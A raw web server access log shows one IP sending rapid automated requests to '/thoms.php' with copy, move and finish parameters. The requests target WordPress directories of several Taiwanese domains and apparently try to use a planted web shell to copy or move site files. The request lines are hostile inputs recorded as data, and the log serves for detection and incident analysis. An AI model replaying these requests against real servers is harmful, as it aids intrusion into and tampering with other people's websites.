45.135.193.11 - - [11/Sep/2026:23:49:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=biotaiwan.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=biotaiwan.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&finish=1&p=wp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&finish=1&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&finish=1&move=1&p=wp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&finish=1&move=1&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=wp-content%2Fthemes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=wp-content%2Fthemes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bioway88.com.tw%2Fmember-suspended HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bioway88.com.tw%2Fmember-suspended" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bioway88.com.tw%2Fpartial-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bioway88.com.tw%2Fpartial-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bioway88.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bioway88.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&finish=1&move=1&p=bioway88.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&finish=1&move=1&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:36 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bioway88.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bioway88.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:36 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&finish=1&p=bioway88.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&finish=1&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:36 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bioway88.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bioway88.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:36 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bioway88.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bioway88.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:36 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bioway88.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bioway88.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:36 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bioway88.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bioway88.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:36 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=beauty-dental.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=beauty-dental.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:36 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&finish=1&p=beauty-dental.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&finish=1&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:36 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=beauty-dental.com.tw%2Frelease-endpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=beauty-dental.com.tw%2Frelease-endpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:36 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=beauty-dental.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=beauty-dental.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:36 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&finish=1&move=1&p=beauty-dental.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&finish=1&move=1&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:36 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=beauty-dental.com.tw%2Fsession-migration HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=beauty-dental.com.tw%2Fsession-migration" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:36 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=beauty-dental.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=beauty-dental.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:36 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=beauty-dental.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=beauty-dental.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:36 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=beauty-dental.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=beauty-dental.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:36 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=beauty-dental.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=beauty-dental.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:37 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&finish=1&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&finish=1&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:37 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&finish=1&move=1&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&finish=1&move=1&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:37 -0400] "GET /thoms.php?copy=broadweb.com.tw&finish=1&p=beauty-dental.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&finish=1&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:37 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=beauty-dental.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=beauty-dental.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:37 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=beauty-dental.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=beauty-dental.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:37 -0400] "GET /thoms.php?copy=broadweb.com.tw&finish=1&move=1&p=beauty-dental.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&finish=1&move=1&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:37 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=beauty-dental.com.tw%2Fsession-migration HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=beauty-dental.com.tw%2Fsession-migration" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:37 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=beauty-dental.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=beauty-dental.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:37 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=beauty-dental.com.tw%2Frelease-endpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=beauty-dental.com.tw%2Frelease-endpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:37 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=beauty-dental.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=beauty-dental.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:37 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=beauty-dental.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=beauty-dental.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:37 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=beauty-dental.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=beauty-dental.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:37 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=besth2o.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=besth2o.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:37 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=besth2o.com.tw%2Fsegment-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=besth2o.com.tw%2Fsegment-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:37 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=besth2o.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=besth2o.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:37 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=besth2o.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=besth2o.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:38 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=besth2o.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=besth2o.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:38 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=besth2o.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=besth2o.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:38 -0400] "GET /thoms.php?copy=broadweb.com.tw&finish=1&p=besth2o.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&finish=1&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:38 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=besth2o.com.tw%2Fwrapper-global HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=besth2o.com.tw%2Fwrapper-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:38 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=besth2o.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=besth2o.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:38 -0400] "GET /thoms.php?copy=broadweb.com.tw&finish=1&move=1&p=besth2o.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&finish=1&move=1&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:38 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:38 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:38 -0400] "GET /thoms.php?copy=broadweb.com.tw&finish=1&p=bestzyx.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:38 -0400] "GET /thoms.php?copy=broadweb.com.tw&finish=1&move=1&p=bestzyx.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:38 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bestzyx.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bestzyx.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:38 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:38 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:38 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:38 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bestzyx.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bestzyx.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:38 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:38 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:39 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 500 0 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:39 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 500 0 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:39 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=booking-wise2.com.tw%2F.well-known HTTP/1.1" 500 0 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=booking-wise2.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:39 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 500 0 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:39 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 500 0 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:39 -0400] "GET /thoms.php?copy=broadweb.com.tw&finish=1&move=1&p=booking-wise2.com.tw HTTP/1.1" 500 0 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
